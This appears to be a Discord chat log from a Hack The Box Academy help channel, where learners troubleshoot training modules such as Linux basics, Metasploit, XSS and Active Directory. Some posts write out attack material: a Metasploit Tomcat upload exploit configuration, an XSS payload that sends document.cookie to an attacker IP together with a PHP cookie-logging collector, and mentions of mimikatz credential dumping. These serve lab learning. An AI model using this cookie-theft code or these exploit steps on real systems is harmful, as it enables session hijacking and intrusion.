modules

[prime lagoon]

Hello, I need some help with a linux intro module. I am trying to find a path to a file. I have checked each folder with ls command but nothing seems to be popping up. what do I do?

I figured it out. Thank you!!

[distant island]

can someone help with the pioviting part in this question Submit the contents of the flag.txt file on the Administrator desktop on MS01 skill assesment 1 in AD module

[fathom pendant]

https://tenor.com/view/meme-gif-24843255

[vernal badger]

Hey, im actually just searching for an good anti virus, is there anyone who can recommend me some please :o

[fathom pendant]

Windows defender works just fine

[next dock]

Hi all. I'm new to this channel, HTB and python. Who can assist with the block 2 question on intro to python.. I don't understand why my answer is wrong. I input the following command: print(f'{num}') and in kali it executed it which means it should be correct.. Any advice is greatly appreciate, thanks in advance..

[fathom pendant]

I suggest reading and following #welcome so you can see what the server is about

[vernal badger]

I-

[fathom pendant]

What section?

Oh found it

[next dock]

Try the following command: pwd it should list the current path. hopefully that answers ur question but if not, sorry 🙂

[fathom pendant]

You don't need to print(f'')

[vernal badger]

i dont think windows defender is enough since it has some bugs and is not able to detect malware as good as other anti viruses

[fathom pendant]

My point is this channel isn't where to ask

#1024429874246590575

[next dock]

thanks, ill see what i can do. grealty appreciate it

[fathom pendant]

Just print

You only need print(f'') if you're using strings of text alongside variables

[vernal badger]

okay 💗

[next dock]

the variable is {num}

[fathom pendant]

No

Braces in printf tell python to interpret what's in them as either code or a variable and not literal text

The variable in the for loop is just num

[ember ibex]

is this the channel to ask for help on a module question?

[fathom pendant]

Yes

[ember ibex]

Sweet! I am stuck on a question and I have no idea what the hay I am doing?

[fathom pendant]

https://tenor.com/view/do-you-have-any-idea-how-little-that-narrows-it-down-that-narrows-it-down-clear-now-its-clear-now-i-understand-now-gif-21256627

[ember ibex]

i even looked it up on google and it's not making sense to me

[fathom pendant]

We don't necessarily need a preamble my guy

[ember ibex]

Use cURL from your Pwnbox (not the target machine) to obtain the source code of the "https://www.inlanefreight.com" website and filter all unique paths of that domain. Submit the number of these paths as the answer.

im stuck on this question

[fathom pendant]

You should be able to find a forum post about this

[ember ibex]

I did on google but alot of the stuff they are talking about i dont understand. as it is in the module it is in didnt even talk about what cURL is at all

[fathom pendant]

https://forum.hackthebox.com/t/linux-fundamentals-filter-content-filter-all-unique-paths-of-domain/270162

man curl

Curl sends a request to a remote host that does various things depending on what you specify

the default is a get request and it often will get the source code of the page you visit

[cerulean grail]

Does anybody remember what module in the pentester job path was talking about using base64 for defense evasion?

[fathom pendant]

Probably file transfer

[jolly dagger]

Anyone who is working on the Introduction to Windows Evasion Techniques, feel free to DM me. We can chat about it. Been working on it for a bit.

[hoary gull]

lfi i think

[fathom pendant]

Lfi is late in the path, but that involves payloads within the browser

[cerulean grail]

I found it - it was in the "Transferring Files" files section of the "Getting Started" module for those interested.

[next dock]

thank you. I understand what you mean now, thanks!

[mild kettle]

I'm currently working through the Skills assessment in the Information gathering - Web Edition module. The third question, "What is the API key in the hidden admin directory that you have discovered on the target system?" leaves me very confused. I have found 2 subdomains, and tried running ReconSpider against the second subdomain I found, it starts with "dev" and for some reason my results.json file won't give me any results. I thought the API key might be in the results from using ReconSpider but it's not there. Any tips, tricks, suggestions are appreciated.

I have also tried using curl against the second subdomain that I found, but curl doesn't seem to work against this subdomain

[marsh echo]

when reading dynamic, there is a way to stop the execution stack it's annoying because I can't dump the right addresshttps://academy.hackthebox.com/module/113/section/2139##About

[mild kettle]

I was able to answer the last two questions of the skills assessment. But the third answer makes no sense to me, I am looking for the admin directory in the robots.txt file but I tried just looking up robots.txt in the browser and get a 404 error

[rustic sage]

what shall i do if my xfreerdp doesn't want me to connect properly at all, and i mean like it times out

[hard matrix]

restart box

[rustic sage]

im using my linux system

instead since it's more efficient 4 me

i added /timeout:99999 and it's still done the same thing

[hard matrix]

no, i mean restart the host

or change vpn region

[rustic sage]

times out after a bit, yeah i've like done everything

my vpn region is on the lowest ms possible

cant even complete shells and payload whilst it doing this

[hard matrix]

you won't find it in crawled output iirc

oh, actually im wrong, i think for that one you have to make sure you put the vhost in /etc/hosts before crawling with recon

[mild kettle]

Yeah I added the vhosts, both subdomains to the /etc/hosts file and was able to get the last two questions but the third question still has me stumped

[rustic sage]

go to ur browser and type the domain and then /robots.txt

[mild kettle]

I get a 404 error for the page when I do that

[rustic sage]

try other vhosts

with /robots.txt

[mild kettle]

Ok

I finally got the robots.txt file, but have no idea how to access a disallowed directory/page

[hard matrix]

robots.txt is just a suggestion

to robots
you aren't a robot

[mild kettle]

What do you mean??

@hard matrix

[mild kettle]

Ohhhhh I know what you mean

[hard matrix]

i mean, that robots.txt is just a suggestion to web crawlers "hey dont crawl this"
it being disallowed in robots.txt doesn't mean you cant access that directory

[mild kettle]

But I tried accessing the disallowed page from the browser and just got an error for some reason.

[hard matrix]

make sure your /etc/hosts subdomains are defined correctly
and try accessing that directory on the subdomains

[mild kettle]

Would curl be a good tool to get the answer?

Used Curl to get this. But tried to go to the moved location in the browser but no luck reaching the page

[mild kettle]

Figured it out!!

[rustic sage]

+1

[fading cipher]

Pentesting Job Path, Footprinting, MYSQL
Not sure why I can't connect from kali.
ERROR 2026 (HY000): TLS/SSL error: self-signed certificate in certificate chain

[ocean night]

I'd advise a quick Google of the error message 🙂

[fading cipher]

I did no luck

[wide river]

i normally copy paste input and output on chatgpt

[fading cipher]

works from pwnbox

[ocean night]

Could be there is a CA certificate missing from Kali that is present in Parrot then

[fading cipher]

not entirely sure, im thinking about just using parrot while doing this course since ive run into quite a few errors related to teh system

[cloud urchin]

try --ssl-mode=DISABLED

[fading cipher]

kinda the 3rd or 4th issue ive had that "just works" on the pwn box

[ocean night]

I just Googled the error message

[marsh echo]

Are you trying to put the password after the -p?

[ocean night]

Second result

..but yes, this is likely due to a CA that is present in Parrot, that is not present in Kali

You don't need to put the password after -p

If you don't append it directly, it'll prompt for it

(which is for the best)

[cloud urchin]

i use kali and never had that issue

[fading cipher]

This comes up as unknown variable

looking at the man to see if this is even a command

[cloud urchin]

sounds like it's not

[fading cipher]

lemme try skip-ssl

[ocean night]

What version of the mysql client is present?

..as that option was introduced in 5.7

[fading cipher]

skip ssl does work, uhh lemme see

mysql from 11.4.2-MariaDB, client 15.2 for debian-linux-gnu (x86_64) using EditLine wrapper

[ocean night]

Ah, maria client

[marsh echo]

Yes, it’s true, it’s really a certificate problem

[fading cipher]

I know kali used maria but I thought they were pretty compatible between the two

[fathom pendant]

Btw you don't need to use sudo for it

[cloud urchin]

I'm looking at my notes and I did use a password there, but didn't need any special ssl parameters.

[fading cipher]

and to be totally transparent I am not just trying to "make it work" but trying to figure out whats going on with issues I keep encountering

[cloud urchin]

Maybe try with the password

[fathom pendant]

Or try putting -p last 🤔

[fading cipher]

ya ik and --skip-ssl does work

Also this "thread" is now here for future people who encounter this issue

[ocean night]

--ssl-verify-server-cert¶
Enables server certificate verification. Prior to MariaDB 11.3, this option is disabled by default, otherwise enabled. Use --disable-ssl or --disable-ssl-verify-server-cert to revert to the pre-11.3 behavior.

from the mariadb most recent mysql client man

https://mariadb.com/kb/en/mariadb-command-line-client/#-ssl-verify-server-cert

...but yeah.. again, it's likely this is due to a CA or certificate missing in Kali that is present in the Pwnbox instance of Parrot

[fading cipher]

Since I have your attention, do you recommend using parrot while working through this course?

[cloud urchin]

I think I would have run into that if that was the case, unless something changed with the module

[fading cipher]

I would like to minimize friction working on the course itself so I can focus on the content

[fathom pendant]

Likely not a parrot thing, rather a pwnbox thing

Some config settings

[ocean night]

Perhaps raise something in #1234357888114364508

You could just say you have issues connecting due to SSL verification under Kali, and link back to the start of this discussion

..if you don't want to type it all out

😄

[fathom pendant]

What's happening here is that mysql is saying the server is using an unverifiable self-signed cert

Which I mean... yeah lol

[fading cipher]

If it helps you guys in anyway I'll make a post regarding it

[ocean night]

Thanks

[plain gazelle]

How is everyone's studies going? Haven't been here in 12 months or so.

[smoky marten]

is there some way to find where it’s moved? or something else i’m meant to do to get the key?

[foggy monolith]

Stuck on the Live Engagement module of Shells & Payloads (115/section/1139):

||```
msf6 > use exploit/multi/http/tomcat_mgr_upload
msf6 exploit(multi/http/tomcat_mgr_upload) > set HttpUsername tomcat
msf6 exploit(multi/http/tomcat_mgr_upload) > set HttpPassword Tomcatadm
msf6 exploit(multi/http/tomcat_mgr_upload) > set LHOST 172.16.1.5
msf6 exploit(multi/http/tomcat_mgr_upload) > set LPORT 8080
msf6 exploit(multi/http/tomcat_mgr_upload) > set RHOST 172.16.1.11
msf6 exploit(multi/http/tomcat_mgr_upload) > set RPORT 8080
msf6 exploit(multi/http/tomcat_mgr_upload) > exploit

Getting `Exploit aborted due to failure: unknown: Failed to execute the payload` after all this. Is there any way to get Metasploit to work properly here or does this *all* need to be done manually?

[fathom pendant]

@smoky marten you're asking about the question about the new API key yes?

[smoky marten]

not the new api key, I found that one

[fathom pendant]

ah

then it is on the w* subdomain

[smoky marten]

ik

I found the directory, but it gives 301 Moved Permanently and idk where to

[fathom pendant]

use -L in curl

for it to follow the redirect

[smoky marten]

ohh ty

[foggy monolith]

Was just going to say this.

[smoky marten]

I feel dumb now lmao

[fathom pendant]

or just visit it in your browser (if you have the w* subdomain in your hosts file)

[smoky marten]

forgot it did that

[fathom pendant]

btw your message that contained the subdomain was deleted, as the subdomain is meant to be found by you, so it's a spoiler

dude chill

i was resolving issue A first

[smoky marten]

alright sorry
figured it was good to just spoiler it but that makes sense

[cloud urchin]

yeah you bumped your msg when like 4 other msgs were there lol.

[fathom pendant]

i've had little luck with msfconsole and this module

like literally any time with the tomcat upload one it's failed for w/e reason

[smoky marten]

semi-related question, is there a way to get curl to display requested redirects without following them?

[fathom pendant]

-I

see the header and usually 301 will tell you where it's going in the header

[smoky marten]

alright yea

that’s what I initially tried but it wasn’t in the header like usual so I got confused not knowing abt -L

[foggy monolith]

Well I've tried to ||generate the .war file using msfvenom too|| — no dice there either. Perhaps there's a way to pollute the parameters, but Metasploit doesn't provide any documentation on what parameters they pass to their web shell to get the reverse shell to work — if they did, then it would be possible to use netcat to do what Metasploit can't. Alas, going to have to go back to an earlier section to see what happened to JSP because I had an issue that required reinstallation of Arch shortly after I was done with Getting Started, so all my notes from then are lost.

[fathom pendant]

the manual method should work

make sure the LHOST= and LPORT= don't have spaces after

i.e. LHOST=<IP HERE> and LPORT=<PORT HERE> with no spaces

[foggy monolith]

Update: got it.

[oak girder]

Hey, brothers, should the academy’s startup range environment be optimized? I can’t open the laboratory.

At least 30 minutes

[hexed bobcat]

Hey

I’m looking for a friends to do bugbounty

[cloud urchin]

probably a browser issue, try hard refresh/cache clear

[cloud urchin]

this channel is about academy on htb, maybe try hacker lounge or something

[rustic sage]

verify yourself first and try other channels

[oak girder]

i already tried

Can you add a mechanism? It has not started successfully for more than 10 minutes. Reset button

[cloud urchin]

nah that would only happen if services are degraded for some reason

their site does say they're having issues today, so it could be related. https://status.hackthebox.com/

more likely something on your end though if no one else is having issues

[fathom pendant]

this is a known browser issue that occasionally happens where the request gets stuck and doesn't actually forward to the backend

it's silly

[oak girder]

Thank you, how to solve this?

[fathom pendant]

https://tenor.com/view/thats-the-neat-part-you-dont-invincible-gif-27194608

sometimes changing VPN regions gets it to work

[oak girder]

@fathom pendantIs there any discount on Black 5 CPTS?

[fathom pendant]

Black 5?

huh?

[oak girder]

Black Friday

I found that I couldn't open it for 2 hours today

[royal mist]

Are you a premium user?

Broo I need a really good guide , can anyone please??

[oak girder]

No, I'm just a Silver

[royal mist]

Ohkiee

[royal mist]

.

[oak girder]

what help do you need

I'm bored now

The laboratory cannot be opened

[royal mist]

I am a beginner and I am learning ethical hacking but I am confused ... What should I do and what not

Can you please give me a real wayy

[oak girder]

Hey, good brother

You should try to break through the wall and try to use a browser to search for information

If it doesn’t work, go back to discord

[oak girder]

Yes

[royal mist]

after the Linus what should I start???

[oak girder]

what is your problem

[novel lynx]

target taking literal years to spawn

[oak girder]

Hahaha, yes, it is recommended to optimize

Otherwise, customers will have to go to tryhackme

[fathom pendant]

literally never heard of Black 5

but if you're asking if HTB does black friday sales, no

[compact patrol]

Get Started with the HTB Beginners Bible: https://www.hackthebox.com/blog/learn-to-hack-beginners-bible

[oak girder]

It's Black Friday, sorry, I used the abbreviation

[royal mist]

Bro i am newbie but i have good cybersecurity knowledge and networking knowledge, I want to learn how to hack

[fathom pendant]

@royal mist ^

[royal mist]

Will that work???

[oak girder]

Hey bro, my lab hasn't started yet

[novel lynx]

you will be an advanced hacker tomorrow

[oak girder]

33

[royal mist]

Wait , I'll check it out

[oak girder]

Always stuck on this page

I have switched 3 browsers

[fathom pendant]

hard refresh, change vpn regions, try again

[oak girder]

OK This is my second attempt at switching VPNs

[fathom pendant]

terminate the pwnbox then refresh and change vpns

i've seen that particular issue

it seems to be related to trying to send the signal to terminate the pwnbox so it can set the reconfigured VPN

[oak girder]

he has always been like this

The button does not work, pwnbox has stopped

[fathom pendant]

weird

but yeah it's one of those things that you have to refresh the page after you terminate pwnbox

otherwise it still thinks it's spawned due to some caching

[novel lynx]

that was weird, my target server didn't spawn until i decided to start the pwnbox, it had been spinning for 30+ minutes, and as soon as i start the pwnbox it works

[fathom pendant]

[oak girder]

Hey man he started it and I crashed

[novel lynx]

i didn't do it i swear

[fathom pendant]

Lol

if it's a continuous issue for you; reach out to support so they can take a look into what the cause may be

[royal mist]

@novel lynx hey , from which I should start ?

[novel lynx]

you have to go and buy a better router first, can't be a good hacker without a good router

[wanton idol]

bro start from linux fundamentals if u have no linux experince

[fathom pendant]

nah i've done some modules via tethering

i wouldn't recommend it personally

but it's possible

spite is powerful

[royal mist]

I have a fine router , just tell me in the hackers Bible , what I should do first????

[storm elk]

Start from the top

[fathom pendant]

start with the beginning

[storm elk]

You don’t read a book’s chapters as random

[fathom pendant]

don't run before you walk

[royal mist]

From Nmap? @fathom pendant

[fathom pendant]

https://tenor.com/view/from-the-beginning-paul-karyakos-chefpk-from-the-start-from-the-top-gif-26878503

Linux Fundamentals bro

can't do shit if you don't know how your system works

[royal mist]

Oh ohkie

I know linuxxx at intermediate level , but yeah I'll revise it once again

[plucky hollow]

Did I understand correctly? source are the arguments that are sent to the web application and are temporarily saved in a variable in the browser's memory, and sink directly adds the given arguments to the page's DOM?

[royal mist]

Thank you guys

[fathom pendant]

https://medium.com/@fath3ad.22/understanding-dom-based-xss-sources-and-sinks-c17ae4bc7455

source is what takes the argument, sink is what displays the result

[stoic zenith]

Hey guys! I'm going through the setup module of the HTB academy atm.

I'm reading through all of the content thoroughly but am not sure if I should personally be installing everything they are going through in real time too?

THe VM station, ParrotOS, VMware, Kali linux etc

[plucky hollow]

You can use your own machine (kali, parrot os or any other) and configure the vpn from there, or simply use the pwnbox and everything will be configured from there

[stoic zenith]

awesome! pwnbox it is

thanks @plucky hollow

[plucky hollow]

Although I recommend you download Kali or Parrot in the virtual machine manager (Qemu, VirtualBox, VMware) that you like the most, configure OpenVPN and use the HTB VPN configuration file that you download if you want better performance.

[novel lynx]

what are everyone's thoughts on using GPT to help in your studies? for the most part i feel like i'm going to have access to GPT when i have a job in the field, so i feel like it's free game, just another tool

[ocean night]

I like to use ChatGPT to bounce ideas off of, to sometimes build out some understanding of a bit of tech I've not used before, or to get some advice.

But

[cloud urchin]

chatgpt is a powerful tool that can be very useful if you know how to use it

[ocean night]

Don't take it at its word

It will get things wrong, and relying upon it too much will mean you become a prompt engineer

Not the thing you're studying for

😉

[plucky hollow]

I use GitHub Copilot more, I think GPT is a good tool, but it also makes a lot of mistakes, it is more language-oriented than technical data-oriented, so it depends on how you use it.

[ocean night]

(kinda joking, but I think it's a valid comment)

[novel lynx]

every mistake gpt makes is a learning experience though

[ocean night]

If you can spot it yeah

[novel lynx]

most of the time i am unable to continue, so i know very quickly haha

[ocean night]

🙂

[novel lynx]

also how am i supposed to know to type :wq to save a vim doc? gpt knows

[plucky hollow]

nvim >

[ocean night]

Having a "sidekick" is nice, but yeah.. I usually only use it to discuss random thoughts, to give an example of a starting point, or to try and explain a certain concept in a different way.

[inland sonnet]

I am at section Skill Assessment in Windows attacks and defenses module.
When I RDP to the WS001, I can't login because "The trust relationship between this workstation and the primary domain failed.".

Please help

[cloud urchin]

probably restart the target

unless you have DA powers then you can leave and rejoin the domain

[inland sonnet]

I did twice, changed the VPN and the Pwnbox location too.

: (

[plucky hollow]

When it asked you to trust the fingerprint, did you press yes?

[inland sonnet]

Yes

[cloud urchin]

it's an issue with the environment. if restarting didn't do it i'd open a ticket.

[inland sonnet]

It's working now, nvm. I think I know the issue

This has happened to me before, Whenever you connect with parrot by mistake instead of kali, It messes up the trust relationship I guess. Idk why but it does. Then if you try to connect with kali, you have to reset a few times or wait for a long time.

[fathom pendant]

smh not using vimtutor

vimtutor teaches you to zero --> hero your vim skills 🙏

[novel lynx]

i bet gpt could give me a great starting list of things to do in vim lol

[fathom pendant]

vimtutor is literally a command that comes with vim installs

it teaches you the basics of navigating in vim

and handy shortcuts

like how a starts your insert after the current character, where i is before

[plucky hollow]

It is true that when I ask the AI ​​about how specific tools work, although it always tries to give an answer that works most of the time, it does not tell you the best one.

Also, a lot of times it just improvises and starts making things up.

and this behavior increases progressively according to the complexity of the question

[fathom pendant]

yep

as it's not a search engine

the answer given is likely based off some forum post that gave some half-assed advice

or you're solving an xyproblem

https://xyproblem.info/

^ this is a really good bit of read

there's a reason I nudge the question to it's root X problem instead of what Y is asked

especially if it seems odd

[fathom pendant]

@quaint gate please refrain from posting screenshots of modules > t0; as well the Attacking Enterprise Networks module is done by many blind

[quaint gate]

Sorry , I figured that is in the actual module material

[stoic zenith]

I jumped onto the pwnbox and struggled with the VMware installation. Is this because it's all already setup?

Ended up just downloading/ everything everything on my own local PC for now to keep myself rolling through the setup module

downloading/installing**

[fathom pendant]

indeed the AEN module is the guide for it

[fathom pendant]

you can't install vmware on the pwnbox

or at least you shouldn't be

the pwnbox IS already a vm

[stoic zenith]

i thought so, thankyou for the clarification

[fathom pendant]

tom was more saying you can either:

1. Set up a VM on your local PC

or 2. use pwnbox

[stoic zenith]

ahhhhhh yes

you guys are so helpful, appreciate it

[fathom pendant]

besides

even if you could get it working on pwnbox, it'd just wipe when you reset it

[fathom pendant]

@royal mist i did not give consent to dm please read the #rules

[royal mist]

I am sorry , I did mistake

[fathom pendant]

just ask your question here:
Tips for getting your question answered;
Provide the module name - section name
Provide context on what you're having trouble with
Try and make sure your question hasn't already been answered by utilizing the search feature

[royal mist]

Ohakyyy , thanku

[plucky hollow]

hi, this is taking me a lot of time: python3 xsstrike.py -u http://94.237.53.xx:xxxxx/?fullname=hola&username=hola&password=hola&email=hola%40hola.hola

[fathom pendant]

@vestal wing hi just a suggestion! adding a shebang to your ReconSpider.py (#!/usr/bin/env python) which should allow (with chmod +x) users to run the script without needing to specify python3 beforehand (just tested)

[fathom pendant]

what module/section?

[plucky hollow]

Cross-Site Scripting (XSS)

XSS Discovery

[fathom pendant]

i don't recall XSS strike taking much time but I also didn't really utilize it too much

[plucky hollow]

i have been like 40 minutes waiting

[fathom pendant]

iirc there's some level of interactivity with it but also XSStrike isn't required to answer the questions

just do some manual testing to see if there's something you can manipulate

if it's taking a while do ctrl+c

[plucky hollow]

I already have the answer but it bothers me that I can't do it myself.

[fathom pendant]

¯_(ツ)_/¯

when automated tools don't work, manual will do the trick

[sweet jewel]

open a PR

:p

[fathom pendant]

It's not on gh

It's a direct download from academy

And panda is the one that wrote it :)

[wary plover]

He meant Panda Request :p

[fathom pendant]

Yeah... panda's tool isn't on gh... the ReconSpider on GH is different

[wary plover]

Yeah true i was making a silly joke

[dapper loom]

Hey, I'm Doing some Linux fundamentals,
How can I use the find command and I want to find a .conf file that is between two size like 20k and 25 k

Can i just use the size command again?

like find ...... -size +20K -size -25k?

[acoustic owl]

Yes, that should work

You can also specify the name. So something like -name "*.conf"

[dapper loom]

Thanks I got it.
I thought maybe there was a way to put like -size 20-28k or something

[fathom pendant]

Nope

The -size flag only takes +/- afaik

So no ranges

[dapper loom]

Thanks much appreciated

[marsh echo]

Anyone for this section ?

I can’t dump the right memory yet I take the MAP -RW- but it can’t find an executable

[fathom pendant]

The reading tells you explicitly which mem to dump for it, and yes it will match

Once dumped, you can run strings against it

The reason the screenshots and text is cutoff is bc it's exactly that way on the target

This section is, indeed, a guide

[fathom pendant]

In x64dbg did you set the exit breakpoint?

[marsh echo]

yes I deactivated everything and left only the breakpoint option. the problem is that when I get to the card memory, as it's dynamic, everything moves, so I don't have time to dump a memory address.

when I use stings there is content but when I use the other de4dot tool it can't find the .NET header (so I guess MZ)

[alpine trench]

Hi mates, i hope you all well, i am trying to find the existing exploit in MSF for the https://academy.hackthebox.com/module/39/section/414 , someone have a hint for me, which service I should focus on and what database to use for searching the exploitname? Thanks in advance, to take your time for a newbe. Just found the answer(NT AUTORITY******), but we all know cheating is not the way!

[opal holly]

Why am I not getting a remote shell?
https://academy.hackthebox.com/module/67/section/912

I'm trying to solve this windows server module in windows privesc

I should get a shell after running the command

instead I'm getting ntlm hash

[untold socket]

Hi, I am having trouble with the htb academy module HTTP Attacks Skills Assessment. Can I DM anyone? Ty

[acoustic owl]

What trouble are you having exactly?

[untold socket]

Can I DM you?

[acoustic owl]

sure

[clever lotus]

greetings, I have question question for Cross-Site Scripting (XSS) , section session hijacking.
I got my script.js: || document.location='http://10.10.15.105/index.php?c='+document.cookie;
new Image().src='http://10.10.15.105/index.php?c='+document.cookie; ||
and my index.php: || <?php
if (isset($_GET['c'])) {
$list = explode(";", $_GET['c']);
foreach ($list as $key => $value) {
$cookie = urldecode($value);
$file = fopen("cookies.txt", "a+");
fputs($file, "Victim IP: {$_SERVER['REMOTE_ADDR']} | Cookie: {$cookie}\n");
fclose($file);
}
}
?> ||

and I keep getting:

[Fri Aug 23 12:59:31 2024] 10.129.32.115:35772 Closing
[Fri Aug 23 13:01:07 2024] 10.129.32.115:35816 Accepted
[Fri Aug 23 13:01:07 2024] 10.129.32.115:35816 [200]: GET /fullname/script-tag-type

payload on web page is || (“><script src=http://10.10.15.105/script.js></script>) ||
I see that web page can get to script, and I also used many other payloads but non of them write me a cookie. I also tried to use port in script.js like IP:80/index.php but none works...

[sinful hearth]

[acoustic owl]

#cpts message

[misty current]

Looking at that log, I don't think it's getting the right resource from the server.
Your log should be saying something like GET /script.js with 200, not /fullname/script-tag-type

[clever lotus]

I cant get that response, I seems to me that web page cant get to script,js and index.php and I dont know how

I mean php server is running at dicetory where script and index are

[misty current]

Yup, I can see that, I'm not able to spot what's wrong from everything that you have shared to be honest, should have worked. I wonder what's wrong

[clever lotus]

I read that port could be the issue, but in materials no one mention port. Also I tried some combinations but no luck

[misty current]

There's some debugging that you could try, DM?

[clever lotus]

sure

[grand solar]

I'm reading through the ACL Enumeration page in Active Directory Enumeration & Attacks and I'm a bit confused on how they concluded that the user was damundsen that wley has control over, did they use powerView to find out who the CN was mapped to or is there something in the output that suggested this that I missed

[manic wolf]

About the Identifying SSRF module in Server-Side Attacks, I looked at || the hosts file and found an internal endpoint. I could send a http request there succesfully, but I couldn't find the flag ||

Should I squint my eyes more?

Huh I solved it

The wording put me off

[pseudo kiln]

It was shown in bloodhound I believe

[limber river]

you can do that eithier by using bloodhound , or by powerview (in that case you need to read the output carefully )

[alpine ingot]

In a lot of the modules they provide lines of powershell and bash for searching through files, are we expected to remember these lines of code or just have them written down for later use? They are explaining what these lines do but i dont really know powershell and bash too well.

[trim frost]

yes, you are expected to take notes so you can refer to them later

[uncut ocean]

sometimes this commands works sometimes not why?

[zinc nimbus]

the ! might do something

special character

[uncut ocean]

@fathom pendant any idea?

[zinc nimbus]

what’s dynamic resolution

o display stuff maybe

[uncut ocean]

enable dynamic resolution

[zinc nimbus]

check maybe if server is online

[uncut ocean]

it is

[zinc nimbus]

/cert:ignore idk what that does but maybe

[uncut ocean]

nope

[shut vapor]

or whack the cache/config data for xfreerdp in your home directory. I think its under ~/.config/freerdp in Kali (note, not xfreerdp). You can use find to figure it out if it's not .config.

[glacial lava]

Hey there, Working on the Web Fuzzing section in Academy. I need to find the flag file from http://IP:PORT//webfuzzing_hidden_path/. I have found the directory but all the word lists i run dont find any files/

[shut vapor]

IDK then, there was that cert error, but w/o validating the cert I just see that "timeout waiting for activation"

[zinc nimbus]

maybe it’s not a default port

[uncut ocean]

no bro idk remmina works fine

here

[glacial lava]

Never mind found it kicks rocks Stupid challenges

[shut vapor]

Is this a spoiler?

[glacial lava]

@shut vapor lol no

[uncut ocean]

any idea how can i transfer file here ??

i am using smb impackt but

any method??

[marsh echo]

You tried to make a /drive on your xfreerdp which allows you to map a directory of your machine

/drive:data,/home/youruser

Thanks to this you will be able to transfer the data from the remote file through the xfreerdp socket on your local machine

[shut vapor]

Have you tried password protecting your share?

[wanton idol]

^

[fathom pendant]

timeout
Also add /cert-ignore

[fathom pendant]

Evil-winrm has a built-in upload/download feature

[fathom pendant]

1. Dont @ me, im not on demand
2. Also don't share the pw since you had to crack it, that's a spoiler

[uncut ocean]

i have added timeout

[uncut ocean]

rdp connection bro

[fathom pendant]

Ah mb

But anyway

[uncut ocean]

Oops sorry

[fathom pendant]

Xfreerdp also has a /drive: feature

[marsh echo]

lol yet I told him ahah

[fathom pendant]

Reminder here btw on that point, I'm not staff I just volunteer myself

[uncut ocean]

ya but the thing is that i want to access other user in it and i can use runas and its working but i through drive when i am trying to access that user through GUI it asking for Admin pass

[fathom pendant]

No

/drive:<sharename>,/path/to/directory/you/share
This mounts a directory with <sharename> on the computer

Under \\ts-client\sharename

It also works the other way around you can copy items both ways

Also you don't need to runas if you have the guy's password

Yes you need admin perms to mount the backup drive on the given host... but you can also mount it on your system

[uncut ocean]

no like i rdp from a user account and now i do that rdp command with that path but here in that 1 found another user cred and now in that user there is a file i want to export

[fathom pendant]

Yes... rdp with that other user's creds...

No need to do any silly runas

[lyric ingot]

The first question in https://academy.hackthebox.com/module/31/section/599 asks about filetype, but every variation of answer is rejected, even after following the guided solution.

[uncut ocean]

i cant thats the problem here bro

[fathom pendant]

You should be able to?

I don't recall rdp being an issue with user 2

[wary plover]

can you give the command you are running?

ok i copied it, now delete because spoilers

i'll test on my end, what section is this ?

[fathom pendant]

That's a weird error that sometimes occurs with xfreerdp

[wary plover]

tried to read up but a lot of in between noise xd

[uncut ocean]

Password Attacks Lab - Hard

[fathom pendant]

I assume in your post you redacted the rest of d* password

Because his pw definitely isn't 4 characters long

[uncut ocean]

i dele that pass bec you said that spoiler

[fathom pendant]

Yes

[marsh echo]

in this section someone managed to make the java executable work ? https://academy.hackthebox.com/module/113/section/2164\

[fathom pendant]

Username is also a spoiler

[scenic sphinx]

guys i am in the beginnig of academy can anyone help me out?

[fathom pendant]

Why are you putting it on your own machine?

Like the Java version on your machine doesn't match the Java version on the target

[uncut ocean]

i am not understanding here how am i supposed to transfer that file in my system

[fathom pendant]

The JRE on the target is 8.0.0 or something like that

[marsh echo]

I downloaded it from ftp and tried to run it on the remote windows.

[fathom pendant]

My message about file transfer wasn't to you

[fathom pendant]

Why?

It already exists on C:/apps

[uncut ocean]

i can access the cmd of that user but when i try to send it saying error

[marsh echo]

to do the exercise?

ooooops

seriously ahahahahah

[fathom pendant]

Try remmina to remote in with d*

[uncut ocean]

no working that user cant rdp

[marsh echo]

it's not the same size so the file on the ftp is fake lol

[uncut ocean]

means no rights

[fathom pendant]

Yes they can lol

I've literally rdp with them

[uncut ocean]

bruhh why cant it give me permission then

[fathom pendant]

¯_(ツ)_/¯

[uncut ocean]

remmina has functionality to transfer files? like xfreerdp?

[fathom pendant]

just checked my notes look for other services that may be available since i'm assuming you didn't scan the host

that's why i don't recall having issues, didn't need to RDP

[uncut ocean]

for transferring ??

[fathom pendant]

yes

there's a port open on the target that you can connect to that has the file you're looking for

without the need for "runas" or any of that nonsense

scan the target with nmap

you'll see what I mean

rule 0 if the target is 10.129.x.x; never assume there's only the service mentioned on the host

always scan

[wary plover]

please state your module, section and your problem. a nice touch would also to include what you've done so far

[uncut ocean]

lol bro i check but i thought there would be a way to share the file as i can access the cmd of that user then you said rdp is ok lol i did finally

[wary plover]

there are ways

File transfers covers that iirc

[uncut ocean]

noo i dont think you can transfer in this case there are strict permissions

[fathom pendant]

I was wrong. I misremembered, literally just checked my notes on how I did it

[wary plover]

ah

[fathom pendant]

There's a file sharing service running on the target

[uncut ocean]

chill i was more dumb

[fathom pendant]

Anyway

That's your path forward

[uncut ocean]

i try taht but i try to make a share then ...

[fathom pendant]

You don't need to make a share

[wary plover]

he just gave you a solid tip

[uncut ocean]

but can we transfer ? like there may be any way?

[scenic sphinx]

module 4 setting up

[fathom pendant]

There's one already running

[wary plover]

^^

[uncut ocean]

ya oops

[fathom pendant]

Just. Scan.

And connect

You have credentials

[scenic sphinx]

linux PAM

[fathom pendant]

That doesn't help us help you

[uncut ocean]

ya i did

[wary plover]

maybe the link then, because i can't do much with that

[fathom pendant]

Do you mean the question of "what does PAM mean"?

Google is your friend

[fathom pendant]

Good then you should have access to the file you need 👍

[uncut ocean]

ya thanks and sorry for tagging

[terse crest]

Guys can anyone suggest me what shall I do basically I used to practice hacking daily at home but now I have to leave home and work rn iam around lots of people (my work friends) and I have to leave my setup back at home what shall I do??? 😭😭

[fathom pendant]

Cope

It's ok to take a break from this shit dude

Let your mind rest and absorb knowledge

[rare sky]

hi guys sorry for disorder, i'm on sqlmap essentials module, and i have not understand how can i recognize a suffix/prefix in a real-world scenario. Can anyone explain me that?

[bitter adder]

Any chance of HTB getting a distribution center in the US. I want to start buying swag but paying 30 in shipping for 10-20 in stuff is a bit much

[fathom pendant]

Submit to /feedback

[shell solar]

hi, I got stuck on question 8, I did both mimikatz lsadump:lsa /inject and also hashdump(meterpreter) to get sam, for the administrator the hash that I received was not suitable. I also did it via crackmapexec --lsa -local-auth, but did not get the necessary hashes (9 secrets received)

[normal sand]

Module: Web Attacks
